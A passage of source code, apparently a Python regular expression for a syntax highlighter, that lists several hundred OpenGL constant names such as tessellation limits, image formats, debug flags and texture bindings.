r'GL_MAX_TESS_CONTROL_OUTPUT_COMPONENTS|'\n r'GL_MAX_TESS_CONTROL_TOTAL_OUTPUT_COMPONENTS|'\n r'GL_MAX_TESS_EVALUATION_OUTPUT_COMPONENTS|'\n r'GL_MAX_TESS_EVALUATION_TOTAL_OUTPUT_COMPONENTS|'\n r'GL_MAX_TESS_PATCH_COMPONENTS|'\n r'GL_MAX_TESS_GEN_LEVEL|'\n r'GL_MAX_TESS_CONTROL_SHADER|'\n r'GL_MAX_TESS_CONTROL_UNIFORM_BLOCKS|'\n r'GL_MAX_TESS_CONTROL_UNIFORM_COMPONENTS|'\n r'GL_MAX_TESS_CONTROL_OUTPUT_VERTICES|'\n r'GL_MAX_TESS_CONTROL_INPUT_COMPONENTS|'\n r'GL_MAX_TESS_EVALUATION_SHADER|'\n r'GL_MAX_TESS_EVALUATION_UNIFORM_BLOCKS|'\n r'GL_MAX_TESS_EVALUATION_UNIFORM_COMPONENTS|'\n r'GL_MAX_TESS_EVALUATION_INPUT_COMPONENTS|'\n r'GL_MAX_COMBINED_TESS_CONTROL_UNIFORM_COMPONENTS|'\n r'GL_MAX_COMBINED_TESS_EVALUATION_UNIFORM_COMPONENTS|'\n r'GL_MIN_PROGRAM_TEXTURE_GATHER_OFFSET|'\n r'GL_MAX_PROGRAM_TEXTURE_GATHER_OFFSET|'\n r'GL_TESS_GEN_MODE|'\n r'GL_TESS_GEN_SPACING|'\n r'GL_FRACTIONAL_EVEN|'\n r'GL_FRACTIONAL_ODD|'\n r'GL_TESS_GEN_VERTEX_ORDER|'\n r'GL_TESS_GEN_POINT_MODE|'\n r'GL_GEOMETRY_SHADER_INVOCATIONS|'\n r'GL_MIN_FRAGMENT_INTERPOLATION_OFFSET|'\n r'GL_MAX_FRAGMENT_INTERPOLATION_OFFSET|'\n r'GL_FRAGMENT_INTERPOLATION_OFFSET_BITS|'\n r'GL_DOUBLE|'\n r'GL_DOUBLE_VEC2|'\n r'GL_DOUBLE_VEC3|'\n r'GL_DOUBLE_VEC4|'\n r'GL_DOUBLE_MAT2|'\n r'GL_DOUBLE_MAT3|'\n r'GL_DOUBLE_MAT4|'\n r'GL_DOUBLE_MAT2x3|'\n r'GL_DOUBLE_MAT2x4|'\n r'GL_DOUBLE_MAT3x2|'\n r'GL_DOUBLE_MAT3x4|'\n r'GL_DOUBLE_MAT4x2|'\n r'GL_DOUBLE_MAT4x3|'\n r'GL_SAMPLER_CUBE_MAP_ARRAY|'\n r'GL_SAMPLER_CUBE_MAP_ARRAY_SHADOW|'\n r'GL_INT_SAMPLER_CUBE_MAP_ARRAY|'\n r'GL_UNSIGNED_INT_SAMPLER_CUBE_MAP_ARRAY|'\n r'GL_ACTIVE_SUBROUTINES|'\n r'GL_ACTIVE_SUBROUTINE_UNIFORMS|'\n r'GL_ACTIVE_SUBROUTINE_UNIFORM_LOCATIONS|'\n r'GL_ACTIVE_SUBROUTINE_MAX_LENGTH|'\n r'GL_ACTIVE_SUBROUTINE_UNIFORM_MAX_LENGTH|'\n r'GL_MAX_SUBROUTINES|'\n r'GL_MAX_SUBROUTINE_UNIFORM_LOCATIONS|'\n r'GL_COMPATIBLE_SUBROUTINES|'\n r'GL_NUM_COMPATIBLE_SUBROUTINES|'\n r'GL_TEXTURE_BINDING_CUBE_MAP_ARRAY|'\n r'GL_TEXTURE_CUBE_MAP_ARRAY|'\n r'GL_PROXY_TEXTURE_CUBE_MAP_ARRAY|'\n r'GL_MAX_TRANSFORM_FEEDBACK_BUFFERS|'\n r'GL_TRANSFORM_FEEDBACK|'\n r'GL_TRANSFORM_FEEDBACK_BINDING|'\n r'GL_ACTIVE_UNIFORM_BLOCK_MAX_NAME_LENGTH|'\n r'GL_UNIFORM_BLOCK_REFERENCED_BY_TESS_CONTROL_SHADER|'\n r'GL_UNIFORM_BLOCK_REFERENCED_BY_TESS_EVALUATION_SHADER|'\n r'GL_PROGRAM_BINARY_RETRIEVABLE_HINT|'\n r'GL_IMPLEMENTATION_COLOR_READ_FORMAT|'\n r'GL_IMPLEMENTATION_COLOR_READ_TYPE|'\n r'GL_LAYER_PROVOKING_VERTEX|'\n r'GL_VIEWPORT_INDEX_PROVOKING_VERTEX|'\n r'GL_UNDEFINED_VERTEX|'\n r'GL_SHADER_COMPILER|'\n r'GL_NUM_SHADER_BINARY_FORMATS|'\n r'GL_SHADER_BINARY_FORMATS|'\n r'GL_VERTEX_SHADER_BIT|'\n r'GL_TESS_CONTROL_SHADER_BIT|'\n r'GL_TESS_EVALUATION_SHADER_BIT|'\n r'GL_GEOMETRY_SHADER_BIT|'\n r'GL_FRAGMENT_SHADER_BIT|'\n r'GL_ALL_SHADER_BITS|'\n r'GL_ACTIVE_PROGRAM|'\n r'GL_PROGRAM_SEPARABLE|'\n r'GL_NUM_PROGRAM_BINARY_FORMATS|'\n r'GL_PROGRAM_BINARY_FORMATS|'\n r'GL_PROGRAM_BINARY_LENGTH|'\n r'GL_PROGRAM_PIPELINE_BINDING|'\n r'GL_MAX_VERTEX_UNIFORM_VECTORS|'\n r'GL_MAX_FRAGMENT_UNIFORM_VECTORS|'\n r'GL_MAX_VARYING_VECTORS|'\n r'GL_LOW_FLOAT|'\n r'GL_MEDIUM_FLOAT|'\n r'GL_HIGH_FLOAT|'\n r'GL_LOW_INT|'\n r'GL_MEDIUM_INT|'\n r'GL_HIGH_INT|'\n r'GL_MAX_VIEWPORTS|'\n r'GL_VIEWPORT_BOUNDS_RANGE|'\n r'GL_VIEWPORT_SUBPIXEL_BITS|'\n r'GL_RENDERBUFFER|'\n r'GL_TEXTURE2D_MULTISAMPLE|'\n r'GL_TEXTURE2D_MULTISAMPLE_ARRAY|'\n r'GL_SAMPLES|'\n r'GL_NUM_SAMPLE_COUNTS|'\n r'GL_MIN_MAP_BUFFER_ALIGNMENT|'\n r'GL_ATOMIC_COUNTER_BUFFER|'\n r'GL_ATOMIC_COUNTER_BUFFER_BINDING|'\n r'GL_ATOMIC_COUNTER_BUFFER_START|'\n r'GL_ATOMIC_COUNTER_BUFFER_SIZE|'\n r'GL_ATOMIC_COUNTER_BUFFER_DATA_SIZE|'\n r'GL_ATOMIC_COUNTER_BUFFER_ACTIVE_ATOMIC_COUNTERS|'\n r'GL_ATOMIC_COUNTER_BUFFER_ACTIVE_ATOMIC_COUNTER_INDICES|'\n r'GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_VERTEX_SHADER|'\n r'GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_TESS_CONTROL_SHADER|'\n r'GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_TESS_EVALUATION_SHADER|'\n r'GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_GEOMETRY_SHADER|'\n r'GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_FRAGMENT_SHADER|'\n r'GL_MAX_VERTEX_ATOMIC_COUNTER_BUFFERS|'\n r'GL_MAX_TESS_CONTROL_ATOMIC_COUNTER_BUFFERS|'\n r'GL_MAX_TESS_EVALUATION_ATOMIC_COUNTER_BUFFERS|'\n r'GL_MAX_GEOMETRY_ATOMIC_COUNTER_BUFFERS|'\n r'GL_MAX_FRAGMENT_ATOMIC_COUNTER_BUFFERS|'\n r'GL_MAX_COMBINED_ATOMIC_COUNTER_BUFFERS|'\n r'GL_MAX_VERTEX_ATOMIC_COUNTERS|'\n r'GL_MAX_TESS_CONTROL_ATOMIC_COUNTERS|'\n r'GL_MAX_TESS_EVALUATION_ATOMIC_COUNTERS|'\n r'GL_MAX_GEOMETRY_ATOMIC_COUNTERS|'\n r'GL_MAX_FRAGMENT_ATOMIC_COUNTERS|'\n r'GL_MAX_COMBINED_ATOMIC_COUNTERS|'\n r'GL_ACTIVE_ATOMIC_COUNTER_BUFFERS|'\n r'GL_UNIFORM_ATOMIC_COUNTER_BUFFER_INDEX|'\n r'GL_UNSIGNED_INT_ATOMIC_COUNTER|'\n r'GL_MAX_IMAGE_UNITS|'\n r'GL_MAX_COMBINED_IMAGE_UNITS_AND_FRAGMENT_OUTPUTS|'\n r'GL_MAX_IMAGE_SAMPLES|'\n r'GL_MAX_VERTEX_IMAGE_UNIFORMS|'\n r'GL_MAX_TESS_CONTROL_IMAGE_UNIFORMS|'\n r'GL_MAX_TESS_EVALUATION_IMAGE_UNIFORMS|'\n r'GL_MAX_GEOMETRY_IMAGE_UNIFORMS|'\n r'GL_MAX_FRAGMENT_IMAGE_UNIFORMS|'\n r'GL_MAX_COMBINED_IMAGE_UNIFORMS|'\n r'GL_IMAGE_BINDING_NAME|'\n r'GL_IMAGE_BINDING_LEVEL|'\n r'GL_IMAGE_BINDING_LAYERED|'\n r'GL_IMAGE_BINDING_LAYER|'\n r'GL_IMAGE_BINDING_ACCESS|'\n r'GL_IMAGE_BINDING_FORMAT|'\n r'GL_VERTEX_ATTRIB_ARRAY_BARRIER_BIT|'\n r'GL_ELEMENT_ARRAY_BARRIER_BIT|'\n r'GL_UNIFORM_BARRIER_BIT|'\n r'GL_TEXTURE_FETCH_BARRIER_BIT|'\n r'GL_SHADER_IMAGE_ACCESS_BARRIER_BIT|'\n r'GL_COMMAND_BARRIER_BIT|'\n r'GL_PIXEL_BUFFER_BARRIER_BIT|'\n r'GL_TEXTURE_UPDATE_BARRIER_BIT|'\n r'GL_BUFFER_UPDATE_BARRIER_BIT|'\n r'GL_FRAMEBUFFER_BARRIER_BIT|'\n r'GL_TRANSFORM_FEEDBACK_BARRIER_BIT|'\n r'GL_ATOMIC_COUNTER_BARRIER_BIT|'\n r'GL_ALL_BARRIER_BITS|'\n r'GL_IMAGE_1D|'\n r'GL_IMAGE_2D|'\n r'GL_IMAGE_3D|'\n r'GL_IMAGE_2D_RECT|'\n r'GL_IMAGE_CUBE|'\n r'GL_IMAGE_BUFFER|'\n r'GL_IMAGE_1D_ARRAY|'\n r'GL_IMAGE_2D_ARRAY|'\n r'GL_IMAGE_CUBE_MAP_ARRAY|'\n r'GL_IMAGE_2D_MULTISAMPLE|'\n r'GL_IMAGE_2D_MULTISAMPLE_ARRAY|'\n r'GL_INT_IMAGE_1D|'\n r'GL_INT_IMAGE_2D|'\n r'GL_INT_IMAGE_3D|'\n r'GL_INT_IMAGE_2D_RECT|'\n r'GL_INT_IMAGE_CUBE|'\n r'GL_INT_IMAGE_BUFFER|'\n r'GL_INT_IMAGE_1D_ARRAY|'\n r'GL_INT_IMAGE_2D_ARRAY|'\n r'GL_INT_IMAGE_CUBE_MAP_ARRAY|'\n r'GL_INT_IMAGE_2D_MULTISAMPLE|'\n r'GL_INT_IMAGE_2D_MULTISAMPLE_ARRAY|'\n r'GL_UNSIGNED_INT_IMAGE_1D|'\n r'GL_UNSIGNED_INT_IMAGE_2D|'\n r'GL_UNSIGNED_INT_IMAGE_3D|'\n r'GL_UNSIGNED_INT_IMAGE_2D_RECT|'\n r'GL_UNSIGNED_INT_IMAGE_CUBE|'\n r'GL_UNSIGNED_INT_IMAGE_BUFFER|'\n r'GL_UNSIGNED_INT_IMAGE_1D_ARRAY|'\n r'GL_UNSIGNED_INT_IMAGE_2D_ARRAY|'\n r'GL_UNSIGNED_INT_IMAGE_CUBE_MAP_ARRAY|'\n r'GL_UNSIGNED_INT_IMAGE_2D_MULTISAMPLE|'\n r'GL_UNSIGNED_INT_IMAGE_2D_MULTISAMPLE_ARRAY|'\n r'GL_IMAGE_FORMAT_COMPATIBILITY_TYPE|'\n r'GL_IMAGE_FORMAT_COMPATIBILITY_BY_SIZE|'\n r'GL_IMAGE_FORMAT_COMPATIBILITY_BY_CLASS|'\n r'GL_TEXTURE_IMMUTABLE_FORMAT|'\n r'GL_ALPHA8_EXT|'\n r'GL_LUMINANCE8_EXT|'\n r'GL_LUMINANCE8_ALPHA8_EXT|'\n r'GL_COMPRESSED_RGBA_BPTC_UNORM_ARB|'\n r'GL_COMPRESSED_SRGB_ALPHA_BPTC_UNORM_ARB|'\n r'GL_COMPRESSED_RGB_BPTC_SIGNED_FLOAT_ARB|'\n r'GL_COMPRESSED_RGB_BPTC_UNSIGNED_FLOAT_ARB|'\n r'GL_COMPUTE_SHADER|'\n r'GL_MAX_COMPUTE_UNIFORM_BLOCKS|'\n r'GL_MAX_COMPUTE_TEXTURE_IMAGE_UNITS|'\n r'GL_MAX_COMPUTE_IMAGE_UNIFORMS|'\n r'GL_MAX_COMPUTE_SHARED_MEMORY_SIZE|'\n r'GL_MAX_COMPUTE_UNIFORM_COMPNENTS|'\n r'GL_MAX_COMPUTE_ATOMIC_COUNTER_BUFFERS|'\n r'GL_MAX_COMPUTE_ATOMIC_COUNTERS|'\n r'GL_MAX_COMBINED_COMPUTE_UNIFORM_COMPONENTS|'\n r'GL_MAX_COMPUTE_WORK_GORUP_INVOCATIONS|'\n r'GL_MAX_COMPUTE_WORK_GROUP_COUNT|'\n r'GL_MAX_COMPUTE_WORK_GROUP_SIZE|'\n r'GL_COMPUTE_WORK_GROUP_SIZE|'\n r'GL_UNIFORM_BLOCK_REFERENCED_BY_COMPUTE_SHADER|'\n r'GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_COMPUTE_SHADER|'\n r'GL_DISPATCH_INDIRECT_BUFFER|'\n r'GL_DISPATCH_INDIRECT_BUFFER_BINDING|'\n r'GL_COMPUTE_SHADER_BIT|'\n r'GL_COMPRESSED_RGB8_ETC2|'\n r'GL_COMPRESSED_SRGB8_ETC2|'\n r'GL_COMPRESSED_RGB8_PUNCHTHROUGH_ALPHA1_ETC2|'\n r'GL_COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC2|'\n r'GL_COMPRESSED_RGBA8_ETC2_EAC|'\n r'GL_COMPRESSED_SRGBA8_ETC2_EAC|'\n r'GL_COMPRESSED_R11_EAC|'\n r'GL_COMPRESSED_SIGNED_R11_EAC|'\n r'GL_COMPRESSED_RG11_EAC|'\n r'GL_COMPRESSED_SIGNED_RG11_EAC|'\n r'GL_PRIMITIVE_RESTART_FIXED_INDEX|'\n r'GL_ANY_SAMPLES_PASSED_CONSERVATIVE|'\n r'GL_MAX_ELEMENT_INDEX|'\n r'GL_TEXTURE_IMMUTABLE_LEVELS|'\n r'GL_MAX_UNIFORM_LOCATIONS|'\n r'GL_FRAMEBUFFER_DEFAULT_WIDTH|'\n r'GL_FRAMEBUFFER_DEFAULT_HEIGHT|'\n r'GL_FRAMEBUFFER_DEFAULT_LAYERS|'\n r'GL_FRAMEBUFFER_DEFAULT_SAMPLES|'\n r'GL_FRAMEBUFFER_DEFAULT_FIXED_SAMPLE_LOCATIONS|'\n r'GL_MAX_FRAMEBUFFER_DEFAULT_WIDTH|'\n r'GL_MAX_FRAMEBUFFER_DEFAULT_HEIGHT|'\n r'GL_MAX_FRAMEBUFFER_DEFAULT_LAYERS|'\n r'GL_MAX_FRAMEBUFFER_DEFAULT_SAMPLES|'\n r'GL_MAX_FRAMEBUFFER_DEFAULT_SAMPLES|'\n r'GL_TEXTURE_1D|'\n r'GL_TEXTURE_1D_ARRAY|'\n r'GL_TEXTURE_2D|'\n r'GL_TEXTURE_2D_ARRAY|'\n r'GL_TEXTURE_3D|'\n r'GL_TEXTURE_CUBE_MAP|'\n r'GL_TEXTURE_CUBE_MAP_ARRAY|'\n r'GL_TEXTURE_RECTANGLE|'\n r'GL_TEXTURE_BUFFER|'\n r'GL_RENDERBUFFER|'\n r'GL_TEXTURE_2D_MULTISAMPLE|'\n r'GL_TEXTURE_2D_MULTISAMPLE_ARRAY|'\n r'GL_SAMPLES|'\n r'GL_NUM_SAMPLE_COUNTS|'\n r'GL_INTERNALFORMAT_SUPPORTED|'\n r'GL_INTERNALFORMAT_PREFERRED|'\n r'GL_INTERNALFORMAT_RED_SIZE|'\n r'GL_INTERNALFORMAT_GREEN_SIZE|'\n r'GL_INTERNALFORMAT_BLUE_SIZE|'\n r'GL_INTERNALFORMAT_ALPHA_SIZE|'\n r'GL_INTERNALFORMAT_DEPTH_SIZE|'\n r'GL_INTERNALFORMAT_STENCIL_SIZE|'\n r'GL_INTERNALFORMAT_SHARED_SIZE|'\n r'GL_INTERNALFORMAT_RED_TYPE|'\n r'GL_INTERNALFORMAT_GREEN_TYPE|'\n r'GL_INTERNALFORMAT_BLUE_TYPE|'\n r'GL_INTERNALFORMAT_ALPHA_TYPE|'\n r'GL_INTERNALFORMAT_DEPTH_TYPE|'\n r'GL_INTERNALFORMAT_STENCIL_TYPE|'\n r'GL_MAX_WIDTH|'\n r'GL_MAX_HEIGHT|'\n r'GL_MAX_DEPTH|'\n r'GL_MAX_LAYERS|'\n r'GL_MAX_COMBINED_DIMENSIONS|'\n r'GL_COLOR_COMPONENTS|'\n r'GL_DEPTH_COMPONENTS|'\n r'GL_STENCIL_COMPONENTS|'\n r'GL_COLOR_RENDERABLE|'\n r'GL_DEPTH_RENDERABLE|'\n r'GL_STENCIL_RENDERABLE|'\n r'GL_FRAMEBUFFER_RENDERABLE|'\n r'GL_FRAMEBUFFER_RENDERABLE_LAYERED|'\n r'GL_FRAMEBUFFER_BLEND|'\n r'GL_READ_PIXELS|'\n r'GL_READ_PIXELS_FORMAT|'\n r'GL_READ_PIXELS_TYPE|'\n r'GL_TEXTURE_IMAGE_FORMAT|'\n r'GL_TEXTURE_IMAGE_TYPE|'\n r'GL_GET_TEXTURE_IMAGE_FORMAT|'\n r'GL_GET_TEXTURE_IMAGE_TYPE|'\n r'GL_MIPMAP|'\n r'GL_MANUAL_GENERATE_MIPMAP|'\n r'GL_AUTO_GENERATE_MIPMAP|'\n r'GL_COLOR_ENCODING|'\n r'GL_SRGB_READ|'\n r'GL_SRGB_WRITE|'\n r'GL_SRGB_DECODE_ARB|'\n r'GL_FILTER|'\n r'GL_VERTEX_TEXTURE|'\n r'GL_TESS_CONTROL_TEXTURE|'\n r'GL_TESS_EVALUATION_TEXTURE|'\n r'GL_GEOMETRY_TEXTURE|'\n r'GL_FRAGMENT_TEXTURE|'\n r'GL_COMPUTE_TEXTURE|'\n r'GL_TEXTURE_SHADOW|'\n r'GL_TEXTURE_GATHER|'\n r'GL_TEXTURE_GATHER_SHADOW|'\n r'GL_SHADER_IMAGE_LOAD|'\n r'GL_SHADER_IMAGE_STORE|'\n r'GL_SHADER_IMAGE_ATOMIC|'\n r'GL_IMAGE_TEXEL_SIZE|'\n r'GL_IMAGE_COMPATIBILITY_CLASS|'\n r'GL_IMAGE_PIXEL_FORMAT|'\n r'GL_IMAGE_PIXEL_TYPE|'\n r'GL_IMAGE_FORMAT_COMPATIBILITY_TYPE|'\n r'GL_SIMULTANEOUS_TEXTURE_AND_DEPTH_TEST|'\n r'GL_SIMULTANEOUS_TEXTURE_AND_STENCIL_TEST|'\n r'GL_SIMULTANEOUS_TEXTURE_AND_DEPTH_WRITE|'\n r'GL_SIMULTANEOUS_TEXTURE_AND_STENCIL_WRITE|'\n r'GL_TEXTURE_COMPRESSED|'\n r'GL_TEXTURE_COMPRESSED_BLOCK_WIDTH|'\n r'GL_TEXTURE_COMPRESSED_BLOCK_HEIGHT|'\n r'GL_TEXTURE_COMPRESSED_BLOCK_SIZE|'\n r'GL_CLEAR_BUFFER|'\n r'GL_TEXTURE_VIEW|'\n r'GL_VIEW_COMPATIBILITY_CLASS|'\n r'GL_FULL_SUPPORT|'\n r'GL_CAVEAT_SUPPORT|'\n r'GL_IMAGE_CLASS_4_X_32|'\n r'GL_IMAGE_CLASS_2_X_32|'\n r'GL_IMAGE_CLASS_1_X_32|'\n r'GL_IMAGE_CLASS_4_X_16|'\n r'GL_IMAGE_CLASS_2_X_16|'\n r'GL_IMAGE_CLASS_1_X_16|'\n r'GL_IMAGE_CLASS_4_X_8|'\n r'GL_IMAGE_CLASS_2_X_8|'\n r'GL_IMAGE_CLASS_1_X_8|'\n r'GL_IMAGE_CLASS_11_11_10|'\n r'GL_IMAGE_CLASS_10_10_10_2|'\n r'GL_VIEW_CLASS_128_BITS|'\n r'GL_VIEW_CLASS_96_BITS|'\n r'GL_VIEW_CLASS_64_BITS|'\n r'GL_VIEW_CLASS_48_BITS|'\n r'GL_VIEW_CLASS_32_BITS|'\n r'GL_VIEW_CLASS_24_BITS|'\n r'GL_VIEW_CLASS_16_BITS|'\n r'GL_VIEW_CLASS_8_BITS|'\n r'GL_VIEW_CLASS_S3TC_DXT1_RGB|'\n r'GL_VIEW_CLASS_S3TC_DXT1_RGBA|'\n r'GL_VIEW_CLASS_S3TC_DXT3_RGBA|'\n r'GL_VIEW_CLASS_S3TC_DXT5_RGBA|'\n r'GL_VIEW_CLASS_RGTC1_RED|'\n r'GL_VIEW_CLASS_RGTC2_RG|'\n r'GL_VIEW_CLASS_BPTC_UNORM|'\n r'GL_VIEW_CLASS_BPTC_FLOAT|'\n r'GL_UNIFORM|'\n r'GL_UNIFORM_BLOCK|'\n r'GL_PROGRAM_INPUT|'\n r'GL_PROGRAM_OUTPUT|'\n r'GL_BUFFER_VARIABLE|'\n r'GL_SHADER_STORAGE_BLOCK|'\n r'GL_ATOMIC_COUNTER_BUFFER|'\n r'GL_VERTEX_SUBROUTINE|'\n r'GL_TESS_CONTROL_SUBROUTINE|'\n r'GL_TESS_EVALUATION_SUBROUTINE|'\n r'GL_GEOMETRY_SUBROUTINE|'\n r'GL_FRAGMENT_SUBROUTINE|'\n r'GL_COMPUTE_SUBROUTINE|'\n r'GL_VERTEX_SUBROUTINE_UNIFORM|'\n r'GL_TESS_CONTROL_SUBROUTINE_UNIFORM|'\n r'GL_TESS_EVALUATION_SUBROUTINE_UNIFORM|'\n r'GL_GEOMETRY_SUBROUTINE_UNIFORM|'\n r'GL_FRAGMENT_SUBROUTINE_UNIFORM|'\n r'GL_COMPUTE_SUBROUTINE_UNIFORM|'\n r'GL_TRANSFORM_FEEDBACK_VARYING|'\n r'GL_ACTIVE_RESOURCES|'\n r'GL_MAX_NAME_LENGTH|'\n r'GL_MAX_NUM_ACTIVE_VARIABLES|'\n r'GL_MAX_NUM_COMPATIBLE_SUBROUTINES|'\n r'GL_NAME_LENGTH|'\n r'GL_TYPE|'\n r'GL_ARRAY_SIZE|'\n r'GL_OFFSET|'\n r'GL_BLOCK_INDEX|'\n r'GL_ARRAY_STRIDE|'\n r'GL_MATRIX_STRIDE|'\n r'GL_IS_ROW_MAJOR|'\n r'GL_ATOMIC_COUNTER_BUFFER_INDEX|'\n r'GL_BUFFER_BINDING|'\n r'GL_BUFFER_DATA_SIZE|'\n r'GL_NUM_ACTIVE_VARIABLES|'\n r'GL_ACTIVE_VARIABLES|'\n r'GL_REFERENCED_BY_VERTEX_SHADER|'\n r'GL_REFERENCED_BY_TESS_CONTROL_SHADER|'\n r'GL_REFERENCED_BY_TESS_EVALUATION_SHADER|'\n r'GL_REFERENCED_BY_GEOMETRY_SHADER|'\n r'GL_REFERENCED_BY_FRAGMENT_SHADER|'\n r'GL_REFERENCED_BY_COMPUTE_SHADER|'\n r'GL_TOP_LEVEL_ARRAY_SIZE|'\n r'GL_TOP_LEVEL_ARRAY_STRIDE|'\n r'GL_LOCATION|'\n r'GL_LOCATION_INDEX|'\n r'GL_IS_PER_PATCH|'\n r'GL_NUM_COMPATIBLE_SUBROUTINES|'\n r'GL_COMPATIBLE_SUBROUTINES|'\n r'GL_SHADER_STORAGE_BUFFER|'\n r'GL_SHADER_STORAGE_BUFFER_BINDING|'\n r'GL_SHADER_STORAGE_BUFFER_START|'\n r'GL_SHADER_STORAGE_BUFFER_SIZE|'\n r'GL_MAX_VERTEX_SHADER_STORAGE_BLOCKS|'\n r'GL_MAX_GEOMETRY_SHADER_STORAGE_BLOCKS|'\n r'GL_MAX_TESS_CONTROL_SHADER_STORAGE_BLOCKS|'\n r'GL_MAX_TESS_EVALUATION_SHADER_STORAGE_BLOCKS|'\n r'GL_MAX_FRAGMENT_SHADER_STORAGE_BLOCKS|'\n r'GL_MAX_COMPUTE_SHADER_STORAGE_BLOCKS|'\n r'GL_MAX_COMBINED_SHADER_STORAGE_BLOCKS|'\n r'GL_MAX_SHADER_STORAGE_BUFFER_BINDINGS|'\n r'GL_MAX_SHADER_STORAGE_BLOCK_SIZE|'\n r'GL_SHADER_STORAGE_BUFFER_OFFSET_ALIGNMENT|'\n r'GL_SHADER_STORAGE_BARRIER_BIT|'\n r'GL_MAX_COMBINED_SHADER_OUTPUT_RESOURCES|'\n r'GL_DEPTH_STENCIL_TEXTURE_MODE|'\n r'GL_TEXTURE_BUFFER_OFFSET|'\n r'GL_TEXTURE_BUFFER_SIZE|'\n r'GL_TEXTURE_BUFFER_OFFSET_ALIGNMENT|'\n r'GL_TEXTURE_VIEW_MIN_LEVEL|'\n r'GL_TEXTURE_VIEW_NUM_LEVELS|'\n r'GL_TEXTURE_VIEW_MIN_LAYER|'\n r'GL_TEXTURE_VIEW_NUM_LAYERS|'\n r'GL_TEXTURE_IMMUTABLE_LEVELS|'\n r'GL_VERTEX_ATTRIB_BINDING|'\n r'GL_VERTEX_ATTRIB_RELATIVE_OFFSET|'\n r'GL_VERTEX_BINDING_DIVISOR|'\n r'GL_VERTEX_BINDING_OFFSET|'\n r'GL_VERTEX_BINDING_STRIDE|'\n r'GL_MAX_VERTEX_ATTRIB_RELATIVE_OFFSET|'\n r'GL_MAX_VERTEX_ATTRIB_BINDINGS|'\n r'GL_DEBUG_OUTPUT|'\n r'GL_DEBUG_OUTPUT_SYNCHRONOUS|'\n r'GL_CONTEXT_FLAG_DEBUG_BIT|'\n r'GL_MAX_DEBUG_MESSAGE_LENGTH|'\n r'GL_MAX_DEBUG_LOGGED_MESSAGES|'\n r'GL_DEBUG_LOGGED_MESSAGES|'\n r'GL_DEBUG_NEXT_LOGGED_MESSAGE_LENGTH|'\n r'GL_MAX_DEBUG_GROUP_STACK_DEPTH|'\n r'GL_DEBUG_GROUP_STACK_DEPTH|'\n r'GL_MAX_LABEL_LENGTH|'\n r'GL_DEBUG_CALLBACK_FUNCTION|'\n r'GL_DEBUG_CALLBACK_USER_PARAM|'\n r'GL_DEBUG_SOURCE_API|'\n r'GL_DEBUG_SOURCE_WINDOW_SYSTEM|'\n r'GL_DEBUG_SOURCE_SHADER_COMPILER|'\n r'GL_DEBUG_SOURCE_THIRD_PARTY|'\n r'GL_DEBUG_SOURCE_APPLICATION|'\n r'GL_DEBUG_SOURCE_OTHER|'\n r'GL_DEBUG_TYPE_ERROR|'\n r'GL_DEBUG_TYPE_DEPRECATED_BEHAVIOR|'\n r'GL_DEBUG_TYPE_UNDEFINED_BEHAVIOR|'\n r'GL_DEBUG_TYPE_PORTABILITY|'\n r'GL_DEBUG_TYPE_PERFORMANCE|'\n r'GL_DEBUG_TYPE_OTHER|'\n r'GL_DEBUG_TYPE_MARKER|'\n r'GL_DEBUG_TYPE_PUSH_GROUP|'\n r'GL_DEBUG_TYPE_POP_GROUP|'\n r'GL_DEBUG_SEVERITY_HIGH|'\n r'GL_DEBUG_SEVERITY_MEDIUM|'\n r'GL_DEBUG_SEVERITY_LOW|'\n r'GL_DEBUG_SEVERITY_NOTIFICATION|'\n r'GL_STACK_UNDERFLOW|'\n r'GL_STACK_OVERFLOW|'\n r'GL_BUFFER|'\n r'GL_SHADER|'\n r'GL_PROGRAM|'\n r'GL_VERTEX_ARRAY|'\n r'GL_QUERY|'\n r'GL_PROGRAM_PIPELINE|'\n r'GL_TRANSFORM_FEEDBACK|'\n r'GL_SAMPLER|'\n r'GL_TEXTURE|'\n r'GL_RENDERBUFFER|'\n r'GL_FRAMEBUFFER|'\n r'GL_MAX_LABEL_LENGTH|'\n r'GL_MAP_PERSISTENT_BIT|'\n r'GL_MAP_COHERENT_BIT|'\n r'GL_DYNAMIC_STORAGE_MAP|'\n r'GL_CLIENT_STORAGE_MAP|'\n r'GL_BUFFER_IMMUTABLE_STORAGE|'\n r'GL_STORAGE_FLAGS|'\n r'GL_CLIENT_MAPPED_BUFFER_BARRIER_BIT|'\n r'GL_CLEAR_TEXTURE|'\n r'GL_LOCATION_COMPONENT|'\n r'GL_TRANSFORM_FEEDBACK_BUFFER_INDEX|'\n r'GL_TRANSFORM_FEEDBACK_BUFFER_STRIDE|'\n r'GL_QUERY_RESULT_NO_WAIT|'\n r'GL_QUERY_BUFFER|'\n r'GL_QUERY_BUFFER_BINDING|'\n r'GL_QUERY_BUFFER_BARRIER_BIT|'\n r'GL_MIRROR_CLAMP_TO_EDGE|'\n r'GL_STENCIL_INDEX8|'\n r'GL_UNSIGNED_INT_10F_11F_11F_REV|'\n r'GL_LOWER_LEFT|'\n r'GL_UPPER_LEFT|'\n r'GL_NEGATIVE_ONE_TO_ONE|'\n r'GL_ZERO_TO_ONE|'\n r'GL_CLIP_ORIGIN|'\n r'GL_CLIP_DEPTH_MODE|'\n r'GL_QUERY_WAIT_INVERTED|'\n r'GL_QUERY_NO_WAIT_INVERTED|'\n r'GL_QUERY_BY_REGION_WAIT_INVERTED|'\n r'GL_QUERY_BY_REGION_NO_WAIT_INVERTED|'\n r'GL_MAX_CULL_DISTANCES|'\n r'GL_MAX_COMBINED_CLIP_AND_CULL_DISTANCES|'\n r'GL_TEXTURE_TARGET|'\n r'GL_QUERY_TARGET|'\n r'GL_TEXTURE_BINDING_1D|'\n r'GL_TEXTURE_BINDING_1D_ARRAY|'\n r'GL_TEXTURE_BINDING_2D|'\n r'GL_TEXTURE_BINDING_2D_ARRAY|'\n r'GL_TEXTURE_BINDING_2D_MULTISAMPLE|'\n r'GL_TEXTURE_BINDING_2D_MULTISAMPLE_ARRAY|'\n r'GL_TEXTURE_BINDING_3D|'\n r'GL_TEXTURE_BINDING_BUFFER|'\n r'GL_TEXTURE_BINDING_CUBE_MAP|'\n r'GL_TEXTURE_BINDING_CUBE_MAP_ARRAY|'\n 